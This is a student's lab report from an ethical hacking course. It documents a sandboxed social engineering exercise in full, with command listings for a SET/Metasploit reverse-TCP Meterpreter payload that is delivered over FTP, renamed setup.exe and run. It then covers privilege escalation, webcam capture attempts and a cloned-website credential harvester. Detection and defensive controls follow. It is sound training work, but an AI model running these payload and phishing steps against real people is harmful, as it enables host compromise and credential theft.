

SOCIAL ENGINEERING LAB REPORT

BACKGROUND	
Course:	CIS 170 - Hands-On Ethical Hacking and Network Defense
Term:	Spring 2026
Instructor:	Ray Lampano, Jnr.
Section Number:	15480/15481
Student Name:	Donaven Bruce
Student ID:	[Redacted]
Submission Platform:	Canvas
Report Date:	2026-01-24
Report Version:	1.0
Lab Title:	Social Engineering
Module Reference:	Social Engineering
Lab Type:	Live Virtual Machine Lab
Date Completed:	2026-01-24
Time Spent:	Approximately 1 hour
ENVIRONMENT	
Platforms and Systems:	
- Primary environment: Practice Labs / Live Virtual Machine Labs controlled sandbox. - Primary systems available in the topology: PLABDC01 (Windows Server 2019 - Domain Controller), PLABDM01 (Windows Server 2019 - Domain Member), PLABWIN10 (Windows 10 - Domain Member), and PLABKALI01 (Kali 2019.2 - Linux Kali Workstation). - The work centered mainly on PLABKALI01 for SET, Metasploit, payload handling, FTP sharing, and credential-harvester setup, with PLABWIN10 used as the victim system for download, execution, browser-based phishing simulation, Firefox installation, Netcraft, and PhishTank. - Remote access to the virtual machines was provided through the course platform.	
Context and Constraints:	
- The module focused on social engineering concepts, payload creation with SET, FTP-based payload delivery, execution on the victim system, evidence of compromise, cloned-website credential harvesting, and phishing detection using Netcraft and PhishTank. - Practice Labs flagged the module as legacy content using deprecated software, so behavior could vary and some steps were best interpreted as guided sandbox demonstrations. - Windows Updates were disabled in the Practice Labs environment, so software behavior reflected a controlled legacy setup rather than a current hardened enterprise baseline. - The module aligned most closely with exam objective 3.1 (Information Security Controls).	
Authorization and Scope:	
- All documented activity took place only inside approved academic systems and isolated practice-lab sandboxes. - No public IP space, real organizations, or unauthorized targets were involved. - No production infrastructure, third-party systems, or live services were contacted except public phishing-check resources explicitly used by the vendor instructions. - The actions documented here were performed for defensive understanding, user-risk analysis, and ethical hacking education within the course environment. - Restricted material, live credentials, and personal data are omitted or redacted from this report.	
Work Objectives:	
- Review the basic components of social engineering, motivation techniques, phishing types, and related methods such as hoax, baiting, shoulder surfing, and tailgating. - Create a payload with SET, transport it to the victim system, execute it, and observe evidence of compromise through Meterpreter. - Use a cloned website in SET to simulate credential harvesting and use Netcraft and PhishTank to review phishing-detection approaches.	
Social Engineering Concepts and Defensive Framing:	
- The lab identified three core components of social engineering: elicitation, interrogation, and pretexting. - Motivation techniques reviewed in the module included authority, urgency, social proof, and fear. - Phishing concepts included mass mailing, instant messaging, malicious websites, spear phishing, whaling, and pharming, with successful attacks tied to lack of user awareness and visual deception. - Additional methods reviewed were hoax, baiting, shoulder surfing, and tailgating, reinforcing that social engineering targets people, trust, and routine behavior rather than only technology.	

TECHNICAL ANALYSIS

Payload Creation, Delivery, and Execution with SET/Metasploit:

- On PLABKALI01, SET was started with setoolkit, the terms were accepted with y, and the menu path used was 1 (Social-Engineering Attacks) > 4 (Create a Payload and Listener) > 5 (Windows Meterpreter Reverse_TCP X64).
- The reverse listener settings used were IP address 192.168.0.4 and port 443, after which yes was entered to start the payload and listener and drop into the Metasploit handler.
- From the Metasploit console, an FTP server was prepared with use auxiliary/server/ftp, the root directory was set with set FTPROOT /root/.set/, and the auxiliary service was started with exploit.
- On PLABWIN10, the payload was retrieved through Windows command prompt with ftp 192.168.0.4, anonymous login, dir, binary, get payload.exe, and quit.
- Windows Defender real-time protection was turned off in the lab environment, the payload.exe file was moved to the Downloads folder, renamed to setup.exe, and executed.
- Back on PLABKALI01, the reverse connection opened successfully. The Meterpreter session was interacted with using sessions -i 1, running processes were reviewed with ps, privilege escalation was attempted with getsystem, and webcam access was tested with webcam_snap.
- The Meterpreter prompt was exited with exit, and the Metasploit framework was exited with exit -y.

Credential Harvesting and Phishing-Detection Tasks:

- From the SET prompt on PLABKALI01, the cloned-website credential-harvesting workflow used the menu path 2 (Website Attack Vectors) > 3 (Credential Harvester Attack Method) > 1 (Web Templates).
- The interface IP entered for the cloned site was 192.168.0.4, template option 3 was selected, and Credential Harvester started on port 80.
- On PLABWIN10, Microsoft Edge was used to browse to http://192.168.0.4, and test credentials were entered using username mjfox and password password.
- Back on PLABKALI01, SET displayed the captured credentials in the terminal, confirming the credential-harvester workflow.
- For prevention tasks on PLABWIN10, Firefox was installed from the internal Installation_Files area using Firefox Setup 87.0.exe. The Netcraft extension was then installed through toolbar.netcraft.com and used to inspect addons.mozilla.org and https://www.exploit-db.com.
- PhishTank was then used in Firefox by browsing to https://www.phishtank.com and checking http://testphp.vulnweb.com with the Is it a phish? workflow.

KEY COMMANDS, TOOLS, AND ARTIFACTS BY SYSTEM

PLABKALI01 — SET / Metasploit / Harvester Workflow:

```
setoolkit
y
1
4
5
192.168.0.4
443
yes
use auxiliary/server/ftp
set FTPROOT /root/.set/
exploit
sessions -i 1
ps
getsystem
webcam_snap
exit
exit -y
2
3
1
192.168.0.4
3
```

PLABWIN10 — Victim-Side Download / Execution / Browser Tasks:

```
cmd
ftp 192.168.0.4
anonymous
dir
binary
get payload.exe
quit
payload.exe -> setup.exe
http://192.168.0.4
mjfox
password
Firefox Setup 87.0.exe
toolbar.netcraft.com
https://www.exploit-db.com
https://www.phishtank.com
http://testphp.vulnweb.com
```

Primary Tools and Artifacts Observed:

- SET payload-generation screens, Metasploit reverse handler prompt, auxiliary FTP server output, Windows FTP session output, payload.exe and renamed setup.exe, Meterpreter session output, captured credentials from the cloned website, Firefox 87 installation, Netcraft toolbar icon and website-inspection data, and PhishTank lookup results.
- The most important evidence of compromise in the lab was the live Meterpreter session, the ps output showing setup.exe, the success message from getsystem, and the credential capture shown in the SET terminal during the cloned-website test.

DEFENSIVE MAPPING AND SUMMARY

Technique Summary:

- The completed work covered social-engineering concepts, SET-based payload creation, FTP-based transfer, payload execution, Meterpreter interaction, cloned-website credential harvesting, Firefox installation, Netcraft extension use, and PhishTank phishing checks.
- The recurring theme across the module was that user trust and routine behavior can be exploited to obtain code execution, credentials, or other security-relevant access.

MITRE ATT&CK Mapping:

- Initial Access: T1566 Phishing - the cloned-website and credential-harvester workflow mapped to phishing for credential capture.
- Initial Access / User Execution: T1204 User Execution - the victim-side execution of setup.exe aligned with code execution triggered by user action.
- Credential Access context: collected usernames and passwords through the cloned-site simulation demonstrated credential theft behavior.
- Execution / Persistence context: the reverse handler and Meterpreter session showed how social engineering can become a delivery path into broader compromise.

Detection Opportunities:

- Unexpected downloads, suspicious executable renaming, and unusual outbound reverse connections are strong indicators of compromise.
- Credential harvesting often leaves traces through abnormal login pages, suspicious URLs, browser warnings, and inconsistent site characteristics.
- User reports, browser extensions such as Netcraft, and phishing repositories such as PhishTank can help identify or validate suspicious web content before users proceed.

Defensive Controls:

- Train users to validate URLs, resist urgency and authority pressure, and avoid opening or executing unexpected files.
- Maintain endpoint protection, browser protections, and layered monitoring for suspicious downloads, renamed executables, and reverse connections.
- Use phishing-awareness programs, mail filtering, safe-browsing tools, and reputation-based checks such as Netcraft and PhishTank where appropriate.
- Restrict unnecessary user privileges and reduce the impact of successful execution through least privilege and application control.

Completion Verification:

- Work was completed across conceptual social-engineering review, SET payload creation, FTP-based payload delivery, victim-side execution, Meterpreter interaction, cloned-site credential harvesting, Firefox installation, Netcraft extension use, and PhishTank checking.
- Completion was evidenced by active SET and Metasploit prompts, successful FTP transfer, the reverse session opening after setup.exe execution, process listing output, privilege-escalation output, captured credentials in the SET terminal, and successful browser-based detection tasks.
- The actual commands, menu selections, and search targets used in the lab are preserved directly in this report for accurate documentation and reproducibility.

Key Findings:

- 1) Social engineering succeeds by exploiting trust, urgency, fear, and routine user behavior more than technical weakness alone.
- 2) SET provided a practical workflow for payload generation, delivery, listener setup, and cloned-website credential capture within the lab.
- 3) User execution of a disguised file immediately converted a social-engineering event into host compromise and interactive access.
- 4) Defensive browser tooling and phishing-reputation services help users validate suspicious websites, but awareness remains critical.
- 5) The strongest defensive takeaway was that anti-phishing defense requires both technical controls and user training.

Issues / Deviations / Notes:

- The lab used deprecated software and a legacy environment, so exact menu appearance and behavior could vary.
- The cloned website was not an exact replica of the original service, but it still functioned as a credential-capture demonstration.
- The webcam_snap test returned that the victim system did not have a webcam, which limited that evidence-collection step in the sandbox.

Reflection:

- This lab tied together user deception, malicious delivery, code execution, post-execution evidence, credential harvesting, and phishing detection into a single workflow.
- The strongest takeaway was that social engineering is dangerous because it bridges human trust and technical compromise, making both awareness and layered controls essential.